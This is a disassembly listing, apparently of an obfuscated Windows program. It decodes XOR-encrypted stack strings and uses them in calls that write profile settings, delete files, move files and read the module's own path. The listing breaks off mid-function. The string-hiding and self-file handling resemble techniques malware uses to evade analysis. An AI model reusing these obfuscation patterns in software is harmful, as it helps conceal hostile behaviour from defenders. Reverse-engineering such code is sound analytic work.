mov dword [ebp - 0xa5c], 0x8cb7f02e
mov ecx, 0x67ce28
mov dword [ebp - 0xa58], 0x59e29381
mov dword [ebp - 0xa54], 0xba25492f
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xa60]
movaps xmmword [ebp - 0xa60], xmm1
call fcn.00460730
lea eax, [ebp - 0x2b50]
mov dword [ebp - 0x2b50], edi
push eax
mov ecx, 0x67cf40
call fcn.00460bb0
mov edi, dword [ebp - 0x2b50]
jmp 0x456183
mov dword [ebp - 0x970], 0xccfdb4e4
lea ecx, [ebp - 0x970]
mov dword [ebp - 0x96c], 0xe3df933e
lea edx, [ecx + 1]
mov dword [ebp - 0x968], 0x6387f0e8
mov dword [ebp - 0x964], 0xba25490f
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x970]
movaps xmmword [ebp - 0x970], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4563e7
sub ecx, edx
lea eax, [ebp - 0x970]
push ecx
push eax
lea ecx, [ebp - 0x1348]
call fcn.0045f3c0
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
cmp edi, 2
jne 0x4565ec
mov dword [ebp - 0x930], 0xe287df88
lea ecx, [ebp - 0x930]
mov dword [ebp - 0x92c], 0xe3df930e
lea edx, [ecx + 1]
mov dword [ebp - 0x928], 0x6387f0e8
mov dword [ebp - 0x924], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x930]
movaps xmmword [ebp - 0x930], xmm1
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456480
sub ecx, edx
lea eax, [ebp - 0x930]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3c0
mov dword [ebp - 0xda0], 0xe2a89a9b
lea eax, [ebp - 0x430]
mov dword [ebp - 0xd9c], 0xe3b89360
mov dword [ebp - 0xd98], 0x63e6f09d
mov dword [ebp - 0xd94], 0xba404968
mov dword [ebp - 0xd90], 0x81dffb59
mov dword [ebp - 0xd8c], 0x8d84d620
mov dword [ebp - 0xd88], 0x4ca9096a
mov dword [ebp - 0xd84], 0xe14dbf41
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xda0]
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
movaps xmmword [ebp - 0xda0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd90]
push eax
movaps xmmword [ebp - 0xd90], xmm1
lea eax, [ebp - 0xda0]
mov dword [ebp - 0xa50], 0xe2a69a94
mov dword [ebp - 0xa4c], 0xe3b99360
mov dword [ebp - 0xa48], 0x63e0f081
mov dword [ebp - 0xa44], 0xba25490f
movaps xmm1, xmmword [ebp - 0xa50]
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee48
push eax
movaps xmmword [ebp - 0xa50], xmm1
lea eax, [ebp - 0xa50]
jmp 0x45679a
mov dword [ebp - 0x920], 0xe287cc88
lea ecx, [ebp - 0x920]
mov dword [ebp - 0x91c], 0xe3df930e
lea edx, [ecx + 1]
mov dword [ebp - 0x918], 0x6387f0e8
mov dword [ebp - 0x914], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x920]
movaps xmmword [ebp - 0x920], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456633
sub ecx, edx
lea eax, [ebp - 0x920]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3c0
mov dword [ebp - 0xe20], 0xe2a89a9b
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe1c], 0xe3b89360
mov dword [ebp - 0xe18], 0x63e6f09d
mov dword [ebp - 0xe14], 0xba404968
mov dword [ebp - 0xe10], 0x81dffb59
mov dword [ebp - 0xe0c], 0x8d84d620
mov dword [ebp - 0xe08], 0x4ca9096a
mov dword [ebp - 0xe04], 0xe14dbf41
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe20]
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
movaps xmmword [ebp - 0xe20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe10]
push eax
movaps xmmword [ebp - 0xe10], xmm1
lea eax, [ebp - 0xe20]
mov dword [ebp - 0x9c0], 0xe2a69a94
mov dword [ebp - 0x9bc], 0xe3b99360
mov dword [ebp - 0x9b8], 0x63e0f081
mov dword [ebp - 0x9b4], 0xba25490f
movaps xmm1, xmmword [ebp - 0x9c0]
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee4c
push eax
movaps xmmword [ebp - 0x9c0], xmm1
lea eax, [ebp - 0x9c0]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
call esi
mov eax, dword [0x67ee24]
shr eax, 5
test al, 1
je 0x45683e
mov dword [ebp - 0x900], 0xba9fdb88
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x8fc], 0xe3df933c
lea edx, [ecx + 1]
mov dword [ebp - 0x8f8], 0x6387f0e8
mov dword [ebp - 0x8f4], 0xba25490f
movaps xmm1, xmmword [ebp - 0x900]
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x900], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456822
sub ecx, edx
lea eax, [ebp - 0x900]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3c0
lea eax, [ebp - 0x1348]
push eax
push 0
lea ecx, [ebp - 0x8e8]
call fcn.0045e3b0
sub esp, 0x18
mov dword [ebp - 0xac0], 0x8cadf9f8
mov dword [ebp - 0xabc], 0x8ab8f023
lea eax, [ebp - 0xac0]
mov dword [ebp - 0xab8], 0x2f584c7
mov ecx, esp
mov dword [ebp - 0xab4], 0xba252c6c
movaps xmm1, xmmword [ebp - 0xac0]
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b34], esp
push eax
movaps xmmword [ebp - 0xac0], xmm1
call fcn.0045e6b0
mov byte [ebp - 4], 4
lea eax, [ebp - 0xab0]
sub esp, 0x18
mov dword [ebp - 0xab0], 0xccfbace6
mov dword [ebp - 0xaac], 0xcde6a63f
mov ecx, esp
mov dword [ebp - 0xaa8], 0x4db2c3d9
mov dword [ebp - 0xaa4], 0xba177a3d
movaps xmm1, xmmword [ebp - 0xab0]
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xab0], xmm1
call fcn.0045e6b0
lea ecx, [ebp - 0x1378]
mov byte [ebp - 4], 3
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 5
lea eax, [ebp - 0xaa0]
mov dword [ebp - 0xaa0], 0xdf8ad59b
lea ecx, [ebp - 0x1378]
mov dword [ebp - 0xa9c], 0xe3dfdd58
mov dword [ebp - 0xa98], 0x6387f0e8
mov dword [ebp - 0xa94], 0xba25490f
movaps xmm1, xmmword [ebp - 0xaa0]
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
push 0
push eax
movaps xmmword [ebp - 0xaa0], xmm1
call fcn.0045e330
cmp eax, 0xffffffff
je 0x456ac7
mov dword [ebp - 0xb20], 0x92e7f4a1
lea ecx, [ebp - 0xb20]
mov dword [ebp - 0xb1c], 0x8eb8f17b
lea edx, [ecx + 1]
mov dword [ebp - 0xb18], 0xbe986c6
mov dword [ebp - 0xb14], 0xd90b316e
mov dword [ebp - 0xb10], 0x81df9636
mov dword [ebp - 0xb0c], 0x8d84d620
mov dword [ebp - 0xb08], 0x4ca9096a
mov dword [ebp - 0xb04], 0xe14dbf41
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb20]
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
movaps xmmword [ebp - 0xb20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb10]
movaps xmmword [ebp - 0xb10], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456ab8
lea eax, [ebp - 0xb20]
jmp 0x456b43
mov dword [ebp - 0x910], 0x85abefa7
lea ecx, [ebp - 0x910]
mov dword [ebp - 0x90c], 0x8da9bd63
lea edx, [ecx + 1]
mov dword [ebp - 0x908], 0x4dff9180
mov dword [ebp - 0x904], 0xba48266c
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x910]
movaps xmmword [ebp - 0x910], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456b36
lea eax, [ebp - 0x910]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x988]
call fcn.0045f290
cmp dword [ebx + 8], 1
jne 0x456b66
mov eax, dword [ebp - 0x2b2c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0044d800
mov dword [ebp - 0xe40], 0xe2bb9a83
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe3c], 0xe39c9377
mov dword [ebp - 0xe38], 0x63f2f087
mov dword [ebp - 0xe34], 0xba514961
mov dword [ebp - 0xe30], 0x81dffb59
mov dword [ebp - 0xe2c], 0x8d84d620
mov dword [ebp - 0xe28], 0x4ca9096a
mov dword [ebp - 0xe24], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0xe40]
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe40], xmm1
movaps xmm1, xmmword [ebp - 0xe30]
push eax
mov dword [ebp - 0x850], 0x81dffb59
lea eax, [ebp - 0xe40]
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee4c
movaps xmmword [ebp - 0xe30], xmm1
mov dword [ebp - 0xa90], 0xe29d9a85
mov dword [ebp - 0xa8c], 0xe3df930e
mov dword [ebp - 0xa88], 0x6387f0e8
mov dword [ebp - 0xa84], 0xba25490f
movaps xmm1, xmmword [ebp - 0xa90]
push eax
mov dword [ebp - 0x850], 0xe2c99ad7
lea eax, [ebp - 0xa90]
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa90], xmm1
call esi
movzx eax, byte [0x67edf8]
lea edx, [ebp - 0xe60]
mov edi, dword [ebp - 0x2b38]
mov ecx, 1
mov dword [ebp - 0xe60], 0x81acf294
test edi, edi
mov dword [ebp - 0xe5c], 0x84b1fa65
mov dword [ebp - 0xe58], 0x2e89cc8
cmovg eax, ecx
mov dword [ebp - 0xe54], 0x94572c6b
mov ecx, 0x67ce28
mov dword [ebp - 0xe50], 0x81dfd577
mov dword [ebp - 0xe4c], 0x8d84d620
mov dword [ebp - 0xe48], 0x4ca9096a
mov dword [ebp - 0xe44], 0xe14dbf41
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe60]
movaps xmmword [ebp - 0xe60], xmm1
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe50]
mov byte [0x67edf8], al
movaps xmmword [ebp - 0xe50], xmm1
call fcn.00460730
push eax
call fcn.00460b00
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x940], 0x83a6f6f8
mov dword [ebp - 0x93c], 0xceadf66a
sub esp, 0x14
mov dword [ebp - 0x938], 0x10f5959e
mov esi, esp
mov dword [ebp - 0x934], 0xba4b2666
movaps xmm1, xmmword [ebp - 0x940]
mov ecx, esi
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b34], esp
mov dword [ebp - 0x2b2c], esi
push dword [ebp - 0x2b34]
movaps xmmword [ebp - 0x940], xmm1
call fcn.004611d0
lea ecx, [ebp - 0x940]
mov byte [ebp - 4], 6
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456e48
sub ecx, edx
lea eax, [ebp - 0x940]
push ecx
push eax
mov ecx, esi
call fcn.004611f0
mov dword [ebp - 0x960], 0x85abefa7
sub esp, 0x18
mov dword [ebp - 0x95c], 0x8da9bd63
mov esi, esp
mov dword [ebp - 0x958], 0x4dff9180
mov ecx, esi
mov dword [ebp - 0x954], 0xba48266c
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x960]
mov dword [ebp - 0x2b2c], esi
push dword [ebp - 0x2b34]
movaps xmmword [ebp - 0x960], xmm1
call fcn.004611d0
lea ecx, [ebp - 0x960]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456ef0
sub ecx, edx
lea eax, [ebp - 0x960]
push ecx
push eax
mov ecx, esi
call fcn.004611f0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2230]
mov byte [ebp - 4], 5
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 9
lea eax, [ebp - 0xa10]
mov dword [ebp - 0xa10], 0xb19bdf81
lea ecx, [ebp - 0x2230]
mov dword [ebp - 0xa0c], 0xde91dc47
mov dword [ebp - 0xa08], 0x6387f0e8
mov dword [ebp - 0xa04], 0xba25490f
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xa10]
push 0
push eax
movaps xmmword [ebp - 0xa10], xmm1
call fcn.0045e330
cmp eax, 0xffffffff
je 0x45d095
push 0
lea eax, [ebp - 0x1360]
push eax
lea ecx, [ebp - 0x2230]
call fcn.0045e370
cmp eax, 0xffffffff
jne 0x4571eb
push 0x104
lea eax, [ebp - 0x840]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0xb40], 0x83a6f6f8
sub esp, 0x18
mov dword [ebp - 0xb3c], 0xcdadf66a
mov esi, esp
mov dword [ebp - 0xb38], 0x11e49e8d
mov ecx, esi
mov dword [ebp - 0xb34], 0xdf513976
mov dword [ebp - 0xb30], 0xe8bdd53d
mov dword [ebp - 0xb2c], 0x8d84d64e
mov dword [ebp - 0xb28], 0x4ca9096a
mov dword [ebp - 0xb24], 0xe14dbf41
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb40]
movaps xmmword [ebp - 0xb40], xmm1
movaps xmm1, xmmword [ebp - 0xb30]
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b34], esp
mov dword [ebp - 0x2b2c], esi
push dword [ebp - 0x2b34]
movaps xmmword [ebp - 0xb30], xmm1
call fcn.004611d0
lea ecx, [ebp - 0xb40]
mov byte [ebp - 4], 0xa
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4570d0
sub ecx, edx
lea eax, [ebp - 0xb40]
push ecx
push eax
mov ecx, esi
call fcn.004611f0
lea eax, [ebp - 0x2ce0]
mov dword [ebp - 0x2cf0], 0x85abefa7
push eax
lea eax, [ebp - 0x2cf0]
mov dword [ebp - 0x2cec], 0x8da9bd63
push eax
lea ecx, [ebp - 0x33f0]
mov dword [ebp - 0x2ce8], 0x4dff9180
mov dword [ebp - 0x2ce4], 0xba48266c
call fcn.0045f450
mov dword [ebp - 0x950], 0x85abefa7
sub esp, 0x18
mov dword [ebp - 0x94c], 0x8da9bd63
mov esi, esp
mov dword [ebp - 0x948], 0x4dff9180
mov ecx, esi
mov dword [ebp - 0x944], 0xba48266c
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x950]
mov dword [ebp - 0x2b2c], esi
push dword [ebp - 0x2b34]
movaps xmmword [ebp - 0x950], xmm1
call fcn.004611d0
lea ecx, [ebp - 0x950]
mov byte [ebp - 4], 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4571b4
sub ecx, edx
lea eax, [ebp - 0x950]
push ecx
push eax
mov ecx, esi
call fcn.004611f0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 9
call fcn.0044dbb0
mov esi, eax
add esp, 0x30
test esi, esi
jne 0x45d7cd
jmp 0x45d39a
lea ecx, [ebp - 0x2230]
mov byte [ebp - 4], 5
call fcn.0045e560
mov dword [ebp - 0xb80], 0x81acf294
lea edx, [ebp - 0xb80]
mov dword [ebp - 0xb7c], 0x84b1fa65
mov ecx, 0x67ce28
mov dword [ebp - 0xb78], 0x2fcbb4c8
mov dword [ebp - 0xb74], 0xba0b6721
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb80]
movaps xmmword [ebp - 0xb80], xmm1
call fcn.00460730
push eax
call fcn.00460b00
movzx eax, byte [0x67edf8]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test edi, edi
mov dword [ebp - 0xd80], 0xe2a69a94
mov ecx, 1
mov dword [ebp - 0xd7c], 0xe3ac9360
cmovg eax, ecx
mov dword [ebp - 0xd78], 0x63f5f09c
mov dword [ebp - 0xd74], 0xba46497a
mov dword [ebp - 0xd70], 0x81b0fb2d
mov dword [ebp - 0xd6c], 0x8daad652
mov dword [ebp - 0xd68], 0x4cc5090e
mov dword [ebp - 0xd64], 0xe14dbf2d
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xd80]
mov byte [0x67edf8], al
lea eax, [ebp - 0x228]
push 0
push eax
movaps xmmword [ebp - 0xd80], xmm1
lea eax, [ebp - 0xd80]
movaps xmm1, xmmword [ebp - 0xd70]
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xd70], xmm1
call esi
mov dword [ebp - 0xf30], 0xe2a69a94
mov dword [ebp - 0xf2c], 0xe3ac9360
mov dword [ebp - 0xf28], 0x63f5f09c
mov dword [ebp - 0xf24], 0xba46497a
mov dword [ebp - 0xf20], 0x81b0fb2d
mov dword [ebp - 0xf1c], 0x8daad652
mov dword [ebp - 0xf18], 0x4cc5090e
mov dword [ebp - 0xf14], 0xe163bf2d
mov dword [ebp - 0xf10], 0x7fd96599
mov dword [ebp - 0xf0c], 0xc417afb9
mov dword [ebp - 0xf08], 0x7d0df9c
mov dword [ebp - 0xf04], 0xed779233
movaps xmm1, xmmword [ebp - 0xf30]
mov dword [ebp - 0x8a0], 0xe2c99ad7
mov dword [ebp - 0x89c], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
pxor xmm1, xmmword [ebp - 0x8a0]
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
movaps xmmword [ebp - 0xf30], xmm1
lea eax, [ebp - 0x638]
movaps xmm1, xmmword [ebp - 0xf20]
pxor xmm1, xmmword [ebp - 0x890]
push 0
push eax
movaps xmmword [ebp - 0xf20], xmm1
lea eax, [ebp - 0xf30]
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xf10]
push 0x104
push eax
movaps xmmword [ebp - 0xf10], xmm1
call esi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4576d9
call esi
cmp eax, 2
je 0x4576d9
call esi
mov dword [ebp - 0x11a0], 0x8ea0fb91
mov dword [ebp - 0x119c], 0x97fff76b
mov dword [ebp - 0x1198], 0x6e3d087
mov dword [ebp - 0x1194], 0xdf512c63
mov dword [ebp - 0x1190], 0xe2be9979
mov dword [ebp - 0x118c], 0xadf4a34b
mov dword [ebp - 0x1188], 0x60e5452e
mov dword [ebp - 0x1184], 0x933fda61
mov dword [ebp - 0x1180], 0x1c981794
mov dword [ebp - 0x117c], 0xfe72cbbd
mov dword [ebp - 0x1178], 0xdb4fabc
mov dword [ebp - 0x1174], 0xed779233
mov dword [ebp - 0x8a0], 0xe2c99ad7
mov dword [ebp - 0x89c], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x11a0]
movaps xmmword [ebp - 0x11a0], xmm1
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1190]
movaps xmmword [ebp - 0x1190], xmm1
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1180]
push eax
lea eax, [ebp - 0x11a0]
movaps xmmword [ebp - 0x1180], xmm1
push eax
call fcn.0044b300
mov dword [ebp - 0xb90], 0xb19cdb87
lea eax, [ebp - 0xb90]
mov dword [ebp - 0xb8c], 0xe3df934b
mov dword [ebp - 0xb88], 0x6387f0e8
mov dword [ebp - 0xb84], 0xba25490f
movaps xmm1, xmmword [ebp - 0xb90]
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb90], xmm1
call fcn.005d657d
add esp, 0xc
lea ecx, [ebp - 0x1378]
call fcn.0045e560
lea ecx, [ebp - 0x8e8]
call fcn.0045e560
lea ecx, [ebp - 0x1348]
call fcn.0045e560
lea ecx, [ebp - 0x988]
call fcn.0045e560
lea ecx, [ebp - 0x1360]
call fcn.0045e560
jmp 0x45d075
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x457c14
call esi
cmp eax, 2
je 0x457c14
call esi
mov esi, eax
mov dword [ebp - 0x2018], 0x87e9f496
lea eax, [ebp - 0x1fd8]
mov dword [ebp - 0x2014], 0x91b0e17c
push eax
lea eax, [ebp - 0x2018]
mov dword [ebp - 0x2010], 0xe49fc8
push eax
lea ecx, [ebp - 0x3378]
mov dword [ebp - 0x200c], 0xde403b7a
mov dword [ebp - 0x2008], 0xe4b78c79
mov dword [ebp - 0x2004], 0xece6f64e
mov dword [ebp - 0x2000], 0x22c06209
mov dword [ebp - 0x1ffc], 0x91389f26
mov dword [ebp - 0x1ff8], 0x33f421db
mov dword [ebp - 0x1ff4], 0xb67287f2
mov dword [ebp - 0x1ff0], 0x27a2b0ee
mov dword [ebp - 0x1fec], 0x8813fd50
mov dword [ebp - 0x1fe8], 0x6a03a6f7
mov dword [ebp - 0x1fe4], 0xb84a429d
mov dword [ebp - 0x1fe0], 0xedb3c4ee
mov dword [ebp - 0x1fdc], 0x465efde5
call fcn.0045f450
lea eax, [ebp - 0x2018]
mov dword [ebp - 0x8b0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2058]
mov dword [ebp - 0x8ac], 0xe3df930e
push eax
lea ecx, [ebp - 0x3370]
mov dword [ebp - 0x2058], 0xe2c99ad7
mov dword [ebp - 0x2054], 0xe3df930e
mov dword [ebp - 0x8a8], 0x6387f0e8
mov dword [ebp - 0x8a4], 0xba25490f
mov dword [ebp - 0x2050], 0x6387f0e8
mov dword [ebp - 0x204c], 0xba25490f
mov dword [ebp - 0x8a0], 0x81dffb59
mov dword [ebp - 0x89c], 0x8d84d620
mov dword [ebp - 0x2048], 0x81dffb59
mov dword [ebp - 0x2044], 0x8d84d620
mov dword [ebp - 0x898], 0x4ca9096a
mov dword [ebp - 0x894], 0xe14dbf41
mov dword [ebp - 0x2040], 0x4ca9096a
mov dword [ebp - 0x203c], 0xe14dbf41
mov dword [ebp - 0x890], 0x7fb865fb
mov dword [ebp - 0x88c], 0xc417afd2
mov dword [ebp - 0x2038], 0x7fb865fb
mov dword [ebp - 0x2034], 0xc417afd2
mov dword [ebp - 0x888], 0x7d0df9c
mov dword [ebp - 0x884], 0xed779233
mov dword [ebp - 0x2030], 0x7d0df9c
mov dword [ebp - 0x202c], 0xed779233
mov dword [ebp - 0x880], 0xe2686cd
mov dword [ebp - 0x87c], 0xb84a48b4
